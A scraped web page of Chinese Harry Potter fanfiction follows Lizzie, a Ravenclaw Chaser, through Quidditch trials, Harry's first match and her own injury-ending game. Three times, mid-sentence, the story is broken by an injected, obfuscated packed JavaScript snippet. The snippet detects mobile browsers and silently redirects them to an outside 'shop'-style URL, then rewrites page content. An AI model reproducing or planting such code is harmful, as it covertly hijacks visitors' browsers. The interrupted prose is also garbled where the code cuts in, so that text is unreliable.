早上的魔药课塞德里克很反常竟然是最后一个冲进地下教室的,刚巧赶上斯内普一挥魔杖把教室门给关上的前一秒。拉文克劳和赫奇帕奇也不是第一次被分在一起上课了,一年级的时候莉兹吃了和试图用坩埚“毁天灭地”的韦斯莱双胞胎同桌熬制药剂的苦,二年级总算是逃离了他们,却又好巧不巧碰上“我什么都能做得比别人更完美”的塞德里克,结局就是无论她在课业上多么优秀似乎都要被掩埋在完美先生的光环的背后。 真要说她那么在意优等生这类头衔倒也不是,莉兹不是个刻苦的人,刻苦从来也不是拉文克劳人的特质,她只是相对而言多了一点不外露的过强的自尊心,比如说在斯内普手下拿到O等级的时候,自然是会有一种胜利了的快感,再怎么说也是侧面证明她用自己的实力暂时打败了那位斯内普教授骨子里就刻着的偏见。 她可不允许课上的第一个“优秀”[1]出现在赫奇帕奇学院,也就是出现在塞德里克的论文上, 但怎么说也是旧同桌的情谊,坐在边角的莉兹很是默契地挪了挪椅子让了一个位置出来,塞德里克赶紧坐下一边从怀里掏出课本一边低头小声地说谢谢。 熬制药剂时才有了说话的机会,毕竟前半个小时斯内普都在以反人类的频率抽背着课本倒数第二章节的知识点,塞德里克非常好运地被点到了名字,而他也没有让人失望,不仅流利回答了问题,还对着仿佛吃了粪蛋一样摆着臭脸的斯内普露出了相当爽朗的笑颜。至于教授吃不吃这一套莉兹没看出来,但很显然拉文克劳的女孩们很喜欢。 他迟到的理由莉兹没兴趣问,两个人谈了几句要么是在聊最近疯传的某著名罗马尼亚球星转会去法国俱乐部的事情,要么就是在聊校队的事,虽然塞德里克也试图继续跟她打听关于秋张的消息,但比起这类话题莉兹还是更乐意聊一聊魁地奇,更何况谁会那么单纯地在赛季开始前就告诉对手球队自己队里关键选手的信息,再怎么说秋张也是莉兹他们的新找球手。 而由于伍德的焦虑已经顺利感染到了周围所有与他有过接触的人,莉兹甚至都要怀疑如果再没有一个拯救格兰芬多的找球手出现的话,他奥利弗·伍德就要亲自下场了。不过这个假设成立的前提是,他的身高得缩水到五英尺八英寸这个水平以下才行[2]。所以这么看,还是期待一位救世主的出现的可能性比较大。 本学期拉文克劳的第一次魁地奇单独训练安排在接下来的一个周四的下午,每年的球员选拔差不多都是这个时候,像莉兹这样的老主力队员参加选拔基本是走个过场,顺便帮着考察一下新人。但以她去年参加选拔的经验来看,毕竟她是著名的老牌英国魁地奇俱乐部普德米尔联队领队的女儿,要让别人不戴一点有色眼镜看她,那是绝对不可能的。莉兹至今都忘不了那时候队里人看到她时的期待眼神,不知道的还以为米歇尔·奥利凡德又返回赛场了。 事实证明魁地奇天賦并不会因为血缘关系而遗传,莉兹能够轻而易举入选只是因为米歇尔从小就对她严格要求,她不过是比其他人接触魁地奇的时间稍微早了那么一点点。 而这世界上就是有天赋这一说的,曾经的查理·韦斯莱就是个有天赋的选手,这一点莉兹在第一次看到他训练的时候就知道了,俯冲的动作和与扫帚宛如融为一体的模样,若是能换个更合适的扫帚的话,查理的表现甚至可以更好。其实伍德也有天赋,可他太刻苦了,以至于所有人都快忘记了他本来也是距离天才最近的人。大家只知道敏捷的反应与全面的眼界或许可以锻炼出来,却又不知道当这些特质就是一个人与生俱来的优势的时候,想要上再一个台阶会比其他人更容易。 奥利弗·伍德可能不曾意识到这一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487792|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正面对上过他的莉兹一清二楚。 差不多三点正好结束了一节令人头昏脑胀却仍然乐趣无穷的算数占卜课,莉兹换了训练服拿着扫帚往球场走,不远处戴维斯已经站在队长身边,他一会儿指着这个新人说两句,一会儿又指着那个新人说两句。 这次选拔总共就四个新队员参加,上年拉文克劳有两个队员都毕业了,现在的队长帕特里克·费尔曼接替了上届队长守门员的位置,每年选拔赛都是以迷你魁地奇的形式举办,找球手则会被安排单独练习,莉兹抱着球飞上天的时候看到了看台上下课了来看热闹的塞德里克和很明显就是来刺探军情的伍德。 “她飞得真不错!”赛程过半,塞德里克鼓着掌说,“俯冲的动作很利落。” “是,没错。”伍德几乎是目不转睛盯着在空中抱着球飞行,并用一个假动作欺骗了帕特里克然后顺利又得分的莉兹。 男孩们心思也是各异,夸了好几句以后,塞德里克才顺着伍德视线看过去发现他跟自己看的根本不是一个人,秋这边已经落地,她和帕特里克握了握手,看来今年开始拉文克劳唯一的找球手已经确定了。 “我先走了。”塞德里克拍了一下伍德肩膀,迈开步子一级一级跳下看台最左侧的台阶。 应了一声,伍德趴在栏杆上看他们收尾,天快黑的时候本来应该差不多要离开球场的老选手们却不知道怎么在原地争执了起来。 “你不要把校队当成是你妈妈的球队啊,何况你又不是队长。”戴维斯先开口反驳了她。 “我也只是说了几句话,”莉兹摇了摇头,“你没有必要这么快给我扣帽子。” “我觉得这个事情……”帕特里克尝试从中插话,这两个人却又谁都不愿意让着谁。 校内魁地奇基本不安排替补队员,但是莉兹从起初就觉得这样风险很大,帕特里克记得她二年级时就提议过像是找球手和守门员这样消耗十分大的位置最好要有替补接替,毕竟十一月开始后的赛季要经历寒冷而漫长的秋冬,单打独斗就会像格兰芬多的队伍那样面对人员更替手足无措。 戴维斯没有在故意和自己过不去,虽然话说得跟不好听,但莉兹知道校队的管理模式就是少而精,俱乐部可以为每个位置买至少两个人,校队负荷不起,队员们也不是都能负荷得起。 两个人一来一往,说到帕特里克已经放弃劝架了,莉兹对戴维斯的一句话很是敏感,“我们不是你,魁地奇只是学校的一项活动而已。” 她也从未认为魁地奇会是她的未来,那是米歇尔的想法,根本与她无关。 说完这句话之后,她下意识看向伍德站的地方,看到那里没有人在了,竟然莫名松了一口气,而这个理由是什么她完全想不出来。 此刻的伍德在球场外的走廊上来回踱步,他其实有一个本不应该说出来的好消息想要和莉兹提前分享一下,一件将他从持续了一整个夏天的困扰中解救出来的好消息 ———格兰芬多有新的找球手了。 注: 1.Outstanding,评价的最高等级,即优秀。 2五英尺八英寸,大约是1.73米,原作伍德设定身材高大,应该超过这个身高,而且找球手需要轻盈的体型。 5. 天才波特 “他可是一个世纪以来年纪最小的找球手。”估计是因为找到了新队员所以心情过于激动了,伍德已经把这句话重复了三遍,说话的同时还手舞足蹈,似乎光是言语完全不足够表达他此刻的心情一样。 不过很显然,莉兹并不关心新人的年纪,也不会去管他是不是霍格沃茨校史上第一个在一年级就有机会上场的选手,她很清楚,在魁地奇赛场上值得注意的核心问题无非就是他飞得如何、表现如何、经验如何。 如今欧洲很多俱乐部中不少选手都来自霍格沃茨,格兰芬多历史上也出过几个知名的魁地奇选手,但在校期间有一些足以称得上是天才的人后来好像都没有成为运动员,最近的一个是查理·韦斯莱,这位传奇的找球手毕业后便去了罗马尼亚,正为了成为一名合格的驯龙师而努力着。再往前的话就要数到很多年前了,那位难得的天才叫詹姆·波特,也就是传说中的天选之子哈利·波特的父亲,刻着他的名字的奖杯现在还陈列在走廊上。他是相当厉害的追球手,当年第一次上场比赛时米歇尔·奥利凡德还是拉文克劳的队长,结果竟然连输了三轮,学院积分直降,最后学期末格兰芬多因此拿下了学院杯,不过他毕业以后去魔法部当傲罗了,至于再之后的事情就像所有人知道的那样发生了。 莉兹偶尔会听妈妈提起詹姆·波特,寥寥几句关于魁地奇的事情后就会是一声叹息,米歇尔打开脖子里的项链挂坠,沉默地看着里面那张照片上依然微笑着的老夫妻。 “黑暗时代带走了太多东西。” 妈妈这样说过,爷爷这样说过,塞西尔姑姑也这样说过。 从魁地奇球场回礼堂要经过人来人往的中庭,莉兹换到左手拿着扫帚看了一眼旁边的人:“所以这位波特的水平具体怎么说,我是指如果和那位波特比起来的话?” 伍德低头对上了她的眼睛一下又慌了神,还好被刚下课的低年级学生不小心撞到,他立马看向别处回答道:“麦格教授说看到他单手俯冲了五十英尺,还毫发无损地拿到了记忆球,说真的如果不是教授说的,我也不相信他是第一次用扫帚。” “那可真是捡到宝了,”莉兹小声问道,“什么时候开始特训,也给我开开眼。” 伍德这人的心思实在是太好猜了,刚问了这一句就一时之间不知道说什么了,莉兹也是球队的选手怎么可能不明白这个道理,谁会在比赛前就亮出底牌,他憋不住来告诉自己这个好消息,无非也是因为他担心了这么长时间的事情总算是有个解决了,他也得让莉兹放心。 用手肘碰了伍德的胳膊一下,她摇了摇头又说:“想什么呢,我没兴趣打探你们队的秘密武器,你倒是多留心弗林特,比赛前把一个低年级的弄伤上不了场这种事他们也不是做不出来。” “哦,谢谢……”伍德还是说不过这个人,看着她在拉文克劳的桌子旁坐下,他只好是挠了挠后脑勺转身往另一边去,一边走着一边又回头看了她一眼,只是莉兹没注意到反而是被她对面的玛丽埃塔抓个正着,她用手挡着嘴然后低头在一旁的帕德玛说了什么,然后一桌的人都笑了。 这下他只能低下头对付面前的奶油蘑菇汤了。 “姑娘们,让我先吃饭好吗,我刚训练了两个小时。”莉兹撕开餐包丢进碗里。 “你真的没有在和奥利弗约会嘛,”玛丽埃塔托着下巴,“我觉得他真的不错呀,个子又高又壮的。” “吃饭。”莉兹拿过一块南瓜挞塞进玛丽埃塔的嘴里,怕她噎着又把满满一杯热橙汁推到她手边,希望今晚的奶油南瓜挞能堵住她那张嘴半个小时。 比起很多刚上三年级就已经找到了约会对象的同龄人,刚刚进入青春期的莉兹对这件事似乎不那么热衷,她一直觉得如果有聊得来的那么就多聊几句,没必要特地去“约会”,而且她也不止一次撞见戴维斯和一个绑着格兰芬多领带的姑娘在塔楼角落里亲吻了,说不尴尬那不太现实,但问她具体有什么感觉,她可能只会想一想得蠢成什么样才会喜欢上戴维斯。 梅林保佑她绝不是在恶言相向,由于同龄男生总是幼稚,比如到现在还会用臭粪蛋捉弄费尔奇的红发兄弟,哪怕是塞德里克这种人在打听漂亮姑娘的时候也像个傻小子,所以莉兹大多数情况下会无差别觉得他们所有人都很蠢。 至于木头先生,或许在打败幼稚之前,要学一学什么怎么让脑子转弯,他可是已经五年级了。 都说只要超过两个人知道就不会有永远的秘密,关于传说中的大难不死先生成为了格兰芬多的新找球手这件事还是悄悄地宛如水流经过灌溉渠浇灌花草一般成了大家都听说的秘密,好在实际上相信了的人并不多。 毕竟就连早晨咬着司康饼快跑着去上第一节变形课的莉兹都有幸瞥见了那把崭新的光轮2000,那其他人会留意到的可能性也不低了。 明明可以直接送到宿舍的,她在心里小声嘀咕着。 穿过长廊一进教室,莉兹发现自己是最后一个到的,那俩红毛兄弟正对着她同步调招着手,坐在他们旁边上课一般都不会很太平,但她这时候确实没有其他选择,只能擦了擦嘴边司康饼的碎屑,朝他们点了点头。 “早上好,小古板女士。”旁边的弗雷德先开了口。 “早上好。”莉兹从包里拿出上节课布置的关于阿尼玛格斯分类的论文作业,她写了足有四英尺六英寸,而看了看兄弟俩摊开在桌上的羊皮纸上那短小精悍的内容,不能说她不期待麦格教授会用什么新奇的形容词训斥他们。 然而出乎意料的是麦格教授竟然什么话都没有说,并且即便她仍然保持着不苟言笑的模样,所有人仍然可以感受到,教授绝对是遇到了什么天大的好事儿,否则不会扫了一眼乔治和弗雷德的作业还能说出“做得不错”这样的话的。 “啊哈——感谢哈利。”乔治比了一个祈祷的手势。 “哦耶——感谢波特。”弗雷德和他击了个掌。 忍住了翻白眼的冲动,莉兹看向走回讲台前的麦格教授,她布置了这节课的任务,需要大家把一块木头先变成木雕兔子,接着再变成一只真兔子,说罢魔杖一挥,每个人的桌子前都多了一块完全没有处理过的木料。 “这木头……哎呀!”安吉丽娜轻声叫了出来,木料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487793|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的刺戳进了她的手指里,莉兹看到了她的反应便很小心地用魔杖把木块往前推了推。 在麦格教授讲注意点的时候,莉兹正在思索应该是变一只普通的肉兔还是荷兰兔,安哥拉兔毛太长了可能会比较麻烦,反正最后活兔子也会变回木头的,谁让魔法也不是万能的。下课前乔治试图把莉兹变出的那只灰色荷兰兔藏在口袋里带出教室,一眼就被识破,差点吃了一记扣分。 满课的一整天在黑魔法防御课的浓烈大蒜味中结束了,莉兹皱着眉头闻了闻自己的巫师袍,胃里翻腾干呕了一声,嫌弃地回头看了奇洛教授一眼,连晚餐的食欲都没了。 “莉兹,晚上去不去球场?”塞德里克用课本轻拍了一下她的后背。 “去做什么?”她直起腰来,“奥利弗难得借到的球场,他可不是那么大方的人。” “听说他正在计划什么秘密特训,”塞德里克稍微弯腰在她耳边小声道,“我挺好奇的。” 她犹豫了一下,抱着课本在原地停下来,其实她也很想知道被评价超越了查理的波特究竟怎么样,便点了点头回答说:“这样吧,我们悄悄看一眼,然后就溜走。” “就听你的,否则奥利弗发起脾气来我可吃不消。”塞德里克说。 我看你可挺擅长惹他生气的,莉兹无言地抬头看向他然后扯起嘴角笑了笑,他们俩人本来就是住在一个社区一起长大的,她刚入学那年就看到塞德里克在学校私下里蹭伍德的扫帚了,而她既没有熟识的高年级朋友,也因为分到了只有一个人住的宿舍所以常常是独来独往,后来二年级进了球队才多认识了一些人。 为了不让伍德发现,塞德里克和莉兹决定在伍德去拿器材之前就在球场角落找个安全的地方等着,一个身影便穿过了球门,在场上灵活地上下翻飞,莉兹眯着眼仔细看了看,对旁边人压低了声音说:“你见过飞得比他好的初学者吗?” “我觉得我应该没见过飞得比他好的人,”塞德里克两手环抱在胸前歪头倚着柱子,“至少目前霍格沃茨没有。” “那就麻烦咯。”莉兹看到伍德提着箱子走过来了便立马按着塞德里克弯下腰。 “真是像模像样的队长呀。”塞德里克一边看伍德给哈利介绍魁地奇一边评价说。 莉兹没搭话,她平时嘴上说着无所谓比赛输赢,但她其实在意得很,不如说她更在意妈妈的看法,米歇尔并不是个足够温柔有耐心的人,若是输了比赛而她又恰好那一场得分很低的话,被批评被训斥是很经常的事情。所以她一面真心为了伍德终于不用再烦心而感到快乐,另一面又再担心一个月之后的比赛,她和戴维斯的配合仍然很不默契,幸好第一场是对赫奇帕奇而不是斯莱特林。 偷看过哈利训练的莉兹和塞德里克心中已经有了数,而莉兹原以为弗林特可能要对新人使花招,最后倒是太太平平什么事情都没有做,比赛当天穿着格兰芬多队服的那小个子就跟在全队人后头走了出来,身边的人在尖叫欢呼,莉兹皱眉捂住了耳朵,抬头看见米歇尔坐在前方看台最高处,看来这次是说真的了,普德米尔终于还是开始到校队挖人了。 6. 赛出风格 比赛开始后伍德接连断了弗林特两次进球,莉兹一边猛拍着栏杆叫好,一边选择性无视身后的戴维斯对比赛情况仿佛了如指掌似的大谈特谈,格兰芬多这场的布局很明显是为了保护哈利,就是斯莱特林个头最矮小的找球手希格斯都比他足足高了三英寸还多,而弗林特的战术也正中伍德下怀,他们只想用尽一切办法把格兰芬多的人从扫帚上撞下来。 “一群毫无体育精神的野兽。”正当她自言自语时,抬头就注意到了哈利的扫帚确实出了什么问题,那把光轮2000正在努力地把他从上头甩下去,韦斯莱兄弟一左一右试图解救他,但却漏了从他们旁边飞过去的鬼飞球,弗林特紧紧抱住球直奔球门,在伍德顾及着队友的安危时进了五球。 如果扫帚的事只是意外的话,莉兹会觉得弗林特很狡猾且聪明地抓住了得分的机会,但她想起米歇尔没退役前曾出过一次严重事故,因为队伍管理员的疏忽,有过激的对手球迷偷跑进仓库给她的扫帚下了恶咒,哨声吹响所有选手刚升到半空,米歇尔的扫帚便自己动了起来,猛地向上而后向下俯冲,她反应迅速立刻松手跳了下来,整个人在沙坑里滚了三圈,手臂的骨头裂开,脚踝也错了位。 可这不过是个学院间的比赛,况且以她对斯莱特林球队里大多数人的了解,初级咒语能够学明白了已经很不错了,超出课本以外的咒语,她一点不指望他们之中会有任何人懂。 “哦——梅林!”米歇尔的高嗓门儿相当有穿透力,她站起来连跺了几下脚,踩灭了靴子旁的点点火星,“比赛看台上禁烟啊,谁把烟斗带进来了!” 教师看台上一阵骚动,大家的注意力又被分散了,莉兹再将注意力集中到赛场上时刚刚还被甩来甩去的哈利又一次大难不死地爬上了扫帚猛地冲向地面,希格斯根本就未曾注意到刚刚一瞬间从他眼前闪过的金色小玩意儿。 李·乔丹在混乱中重复着格兰芬多获胜的比赛结果,赢了比赛的伍德却满脸都是不满,弗林特挡了他的道,又指着他的鼻子说这是作弊,伍德的身形高大本就不输弗林特,加上还处在愤怒状态就更是暴躁,他直接没有理睬任何挑衅,撞开了挡路的人直接向着霍琦女士走去,麦格教授也在她身边。 弗林特才追了一步,乔治和弗雷德便抱着球棒横在他面前,他们俩面无表情,异口同声地说:“这么着急去哪儿呀,马库斯队长?” 而尽管伍德费尽口舌解释了刚刚场上的异常情况,麦格教授也只是拍了拍他的肩膀说已经知道了,毕竟比赛时看台上少说有几百人,难道要请魔法部来没收每个人的魔杖去检查他们使用过的咒语吗,这必然是不现实的,莉兹在伍德气冲冲去找裁判时就料到这个结果了,与其去操心那个家伙的事情还不如想想明天怎么缠住塞德里克,顺便多进几个球给秋这个新人选手一点缓冲时间。 她远远望着和玛丽埃塔走在一起的秋·张,或许美人计是个好选择。 “嘿,莉兹,”安吉丽娜拿着扫帚向她跑过来,“刚刚米歇尔竟然和我搭话了!听说普德米尔要签新人了是真的吗?” 后退了两步,莉兹点了头说:“是这样没错啦……” “普德米尔要是对谁感兴趣了能和我们透露一下吗?”说着话的时候刚在比赛中摔伤了胳膊的凯蒂·贝尔也凑过来问。 她其实很想说她妈妈根本什么都不会和她说的,但望着她们期待的表情只能勉强点了点头,然后解释说:“你们也知道职业选手只签十七岁以上的人,所以……妈妈也就是来随便看看而已。”[1] “我们知道呀,但是光是想一想就好激动啊!”安吉丽娜和凯蒂看起来是真的很开心。 莉兹的笑容倒是在听见妈妈叫自己名字的时候僵住了,赛前被施压并不是什么好的体验,她发誓这根本就不会让她发挥得更好,和安吉丽娜她们摆了摆手,她皱着眉头回头。 “明天你首发出场?”米歇尔开门见山,从来没什么废话。 “如果帕特里克没有吃错什么药的话,我会是首发的追球手。”莉兹回答。 “队型呢?”她又问。 “二一三阵型,守先攻后。[2]”莉兹像正在上课的学生一样报出简洁明了的答案。 “那行,明天我会再来学校。”米歇尔对女儿的回答很满意。 “妈……妈妈,”莉兹伸手指着她口袋里冒出的半截魔杖,“这个给我看看吧。” 米歇尔疑惑地将魔杖递给她,便听到她低声地说着什么,和老奥利凡德简直一模一样。 “苹果木,十一英寸,杖芯是……”莉兹将魔杖对着光细看了一下,“是龙心腱,1968年产的,爷爷那年只做了这一根苹果木魔杖。” “快给我吧,我晚上还有会议要开。”米歇尔就要伸手拿回来,莉兹又往边上让了让。 “已经裂开了,”她指着尖端的裂痕,“刚刚我就注意到了,可能撑不过两次幻影移形,我只能做应急处理,妈妈你记得一定要找爷爷好好修理一次,否则要换新魔杖会很麻烦。” 很多时候米歇尔都觉得女儿热衷制作魔杖是一件难以接受的事情,莉兹并非在魁地奇上没有天赋,再者说了,努力本身就比天赋更重要,但是这一刻她听着她难得轻松的语调和眼里透着的光,米歇尔稍微有一点动摇了。 “祝你比赛顺利。”她丢下一句没头没尾的鼓励就匆匆离开了。 望着她的背影叹了一口气,莉兹当然知道妈妈很关心自己,但偶尔也希望她至少能理解自己一次。 第二日早餐时间弗利维教授在礼堂门口把她和队长帕特里克一起叫了过去,像往常一样说了些比赛固然重要还是保护好自己不要受伤更重要之类的话,也不知道和今天那发疯的扫帚有没有关系,两个人点着头应了两声说知道了。 “先是万圣节的巨怪,接着就是昨天比赛的扫帚,”本来就容易紧张的帕特里克看起来有些忧心忡忡,“今天不会也出什么问题吧?” 莉兹伸手够了一下装着果酱的罐子,本想装作没听见,但还是开口安慰道:“小概率事件怎么可能重复性发生,别担心了。” “没错,是的,你说得有道理。”帕特里克开始对着碗里的麦片念叨,仿佛念咒一般。 咬着面包,莉兹倒觉得还不如发生点什么意外直接让比赛停止,她还是不喜欢听妈妈对她的赛后评价,而且普德米尔明天晚上的比赛是今年冬歇前联赛倒数几场里最重要的一场了,她实在不想挑战压力状态下的米歇尔的耐心。 隔了两桌的弗林特在拿着魁地奇速报大声念着上面的第一条报道,莉兹早起时已经读过了,无非是“因为队伍表现无起色,普德米尔高层对米歇尔的执教能力提出了质疑”这类内容,他们要是真想赢比赛,夏天时就不应该松口让欧洲排名第一的追球手转会去苏格兰,而且既然卖了他有了资金为什么不去引进那个罗马尼亚小将,何况米歇尔当着球队顾问还要做主教练,哪有这么便宜的好事呢。 伍德听着背后的嘲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487794|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讽声比莉兹还要先按捺不住,转过头去狠狠瞪了他们几眼却毫无用处,连着旁边那位梳着背头的斯莱特林金发一年级也加入了谈话。 “怎么了奥利弗,这么急着给偶像拍马屁呀。”弗林特一开口周围人哈哈大笑起来。 “马库斯……”伍德猛地站起身,面前的杯子都晃了两下。 “马库斯!”莉兹却在伍德之前先拍着桌子,转身开口,“替我给你在阿兹卡班的父亲问声好,三年刑期很快就结束了。” 平时并不常笑的莉兹脸上挂着微笑。当众揭穿别人最不可说的秘密并不是什么好事,这甚至有些恶毒,明知道别人会觉得难堪痛苦却还对着那个伤口再砍上一刀似的。 礼堂突然变得鸦雀无声,好像刚刚有什么沉重的东西落在了地上,所有人都没有反应过来一样,莉兹安静地坐下,把最后的半片面包吞进去,喝了一大口牛奶,宛如说话的人不是她。 原本得意洋洋的弗林特脸色骤变,踩着桌子就要冲着她跑过来,被旁边两个人拉住了,即便赛场上喜欢使阴险的招数,赛场下打架是会整个学院都禁赛的,他们还要拿学院杯呢。 又过了一会儿,大家又回复到了之前的样子,但仔细听还是能听到他们在低声议论莉兹说的事情,这其实不算是完全不可说的秘密,因为预言家报上也刊登了,但不是所有人都知道那个醉酒后施咒袭击麻瓜的男人是弗林特家族的人而已,毕竟没有写出全名,和几大纯血家族沾亲带故的人果真就是有特权,犯下这样的事情也不过是去阿兹卡班三年罢了。[3] 这些事都是塞西尔姑姑告诉她的,塞西尔在神奇动物管理控制司工作,常常会在信里和她说一些魔法部的事情,出事的弗林特先生就是她部门的一把手。 其实不说出来才是最好的选择,可莉兹从来也没说过自己是一个好心的人,已经发生了的她没有义务遮掩,然而公开说会让她看起来像个小肚鸡肠的人,只为了逞口舌之快。可能她确实做了错事,但是她不后悔,因为她生气了。 拉文克劳的学生总有这样清醒的自我认知,所以聪明而不狡猾。 “莉兹,你还好吧?”在更衣室里秋·张穿上斗篷小心翼翼地问道。 “状态绝佳。”莉兹拿上了飞天扫帚撩开帘子,其他队员都在外面休息室里。 “说好的二一三,你可别忘了传球。”所有人围成圆阵,在她旁边的戴维斯说。 “如果传给你能得分,我会传球的。”莉兹回答。 “你这个人怎么又不讲道理了?”戴维斯着急了。 “好了好了,”帕特里克拍了拍俩人的肩膀,又看向秋,“本学期第一场比赛,不说其他的,赛出风格就好,加油!” “加油!” 在队伍中间,莉兹抬头找看台上的米歇尔,她姗姗来迟刚刚坐下,便长舒一口气,握紧了扫帚。 注: 1.签约十七岁以上的选手这个规则是我编的。 2.二一三阵型参考足球的433单后腰阵型,也就是主动将一位中前卫回撤成为后腰,保证两位前卫在压上的同时后场依旧有一位后腰保护,加大了中场的防守。二一三就是以两个击球手在前为找球手开路,并由三位追球手在后方保证传球与进球,必要时可以将一名击球手与左侧追球手位置互换。(以上内容纯属本人虚构不要当真) 3.关于马库斯·弗林特的家庭是我编的,但弗林特家族确实和布莱克那几个纯血家族是亲戚。 7. 失望的妈妈 今年赫奇帕奇的队员几乎没有什么特别大的变动,不过这场把原本的击球手换成了替补,是一个身材高大的四年级男生,肌肉练得相当紧实,怕是被球直接打中都不一定会有什么感觉。一开场莉兹接到传球就选择单手抓着扫帚柄,把重心放得很低,贴着地面与看台飞行,这样的姿势虽然可以保证即便有游走球飞来飞去也很基本上不会被打到,但飞行时的灵活度就会相对降低,所以守门员也能更迅速地判断出进球的线路。 比赛进行了三十八分钟时金色飞贼突然擦着脸颊飞过去,莉兹走神了一秒,抬头时迎面是两个击球手夹击,她瞬间调转方向,翻过身头朝地面在空中画了个半圆后停住并同时将球传给右路的戴维斯,让他顺利捡了空得分。 而在赫奇帕奇准备反击时她退到后场给观看全局的秋·张在身后打着手势,动作被塞德里克一眼看穿,他倒是先身子向一边倾斜降低扫帚飞行的速度然后在秋加速的一瞬间,立刻追了上去。莉兹皱着眉头回身瞪了他一眼,塞德里克竟然还有功夫回应她一个完美的微笑。 按照预定的战术计划戴维斯配合莉兹从开场就一直将把攻防战控制在低空,但还是因为金色飞贼的突然出现,他们为了给秋更广阔的视野,只好将将队伍整体拉高了一倍高度,高空的冷风从耳旁吹过,冻得人发抖,手也颤,提前施好了防风防雨的咒语也不见得管用,十一月的苏格兰高地对于怕冷的人来说不是什么好地方,而对于莉兹这样又怕冷却还要比赛的人更是不友好,她努力调节着呼吸,接过队友一记长传就压低身子向赫奇帕奇的球门俯冲,拉文克劳又进一球。 “好样的,莉兹!”玛丽埃塔挥着拉文克劳的旗帜在看台上欢呼,“再来一个!” 挥舞时旗帜的下摆扫过下一排人的头顶,个头最高的伍德直接被遮了一半的视野,他用手掀开向前站了站,将目光锁定在刚刚才得分的人身上。 有的选手单单是飞行就极具观赏性,伍德常在看比赛听解说时听到这种评价,但他总是不在意的,因为“观赏性”似乎是个没什么价值的优势,直到他见到莉兹在扫帚上的样子,飞得轻盈却又稳定,明明在空中倒吊着,她就像是天生就会飞的人,不需要扫帚也可以飞上天的那种。 他当然毫不吝啬地夸奖过她,不过莉兹当时只是侧坐在扫帚上飞到半空低头看着他说道:“因为米歇尔并没有先教会我走路,她就这样先让我飞了起来。”说罢她便抬腿跨过扫帚,加速飞往了训练场中央。 莉兹最喜欢的就是这种贴着看台的刁钻弧度,刚刚她压低身子甚至是从伍德的面前飞过去的,能看得出她应该很冷,鼻头冻得通红,现在分差已经是六十分了,她真的很希望刚刚神隐的金色飞贼再出现,不管是谁都好,赶紧抓住它结束比赛吧。 “他看见了!”戴维斯慌忙指着从低空静悄悄飞过的塞德里克,回头就对着队里走了神的两个击球手喊道,“你们快追啊!” 游走球在塞德里克前方来去挡了路,此时秋也注意到了金色飞贼,在莉兹和戴维斯的接应下,她灵巧地躲过赫奇帕奇三位选手的夹击,伸手抓住了它。 而正当霍琦女士预备吹哨结束比赛时,背对着游走球的莉兹不幸被击中,这一球实在猝不及防,她在半空中失去平衡以高速冲进沙坑里,落地的瞬间她甚至还有空闲感叹终于结束了,长叹一口气,她向后躺在了地面上,欢呼声和嘈杂声都离她很远。 在球门位置的帕特里克最先落地,他拿着扫帚迈着步子跑过来。 “没事吗?”他问。 “应该没事……”莉兹直起身,揉了揉左边的手臂,手腕处已经变了形,“估计就是摔断了。” “秋已经去叫庞弗雷夫人了。”戴维斯也慢悠悠走了过来。 塞德里克从扫帚上跳下来,弯腰将自己的斗篷脱下盖在莉兹的身上,关切地说:“对不起,我刚刚没来得及提醒你。” 因为太冷了所以裹紧了斗篷,莉兹又叹了一口气说:“本来也不是你的问题,就是意外。” 一会儿庞弗雷夫人来了,先是给她做了简单的固定,之后秋就扶着莉兹往医院去,她已经完全忘记了留意米歇尔,而如果她能想起来这件事的话,估计心情只会变得很糟糕,因为莉兹比任何人都清楚,妈妈不喜欢看到她失误,更何况是这种意外。 刚换了衣服的塞德里克的表情根本看不出是刚输了比赛的样子,不过赫奇帕奇的学生每一次比赛结束都会表现出一种无所谓结果的大方,不必在意真假,只是这种态度常常让在乎输赢的其他学院变成心胸狭隘的存在,从小就和他认识的伍德应该习惯了塞德里克这样的表现,然而偶尔还是会觉得有点儿不满。 谁让“我什么都可以做好”的完美先生迪戈里在做不好的时候看起来也像是做好了呢。 他在门口拉着秋借关心莉兹的名头说了几句话,然后回头就对着在走廊上徘徊的伍德说:“听说她要住院一整晚呢!” 那头的人连忙摆了摆手,意思是让他别说了,伍德的耳朵立马就变红了,好像塞德里克说了什么不该说的话一样,秋有些疑惑地看了伍德一眼,又看了正在笑的塞德里克一眼,又补充了一句:“莉兹的妈妈正在里面。” 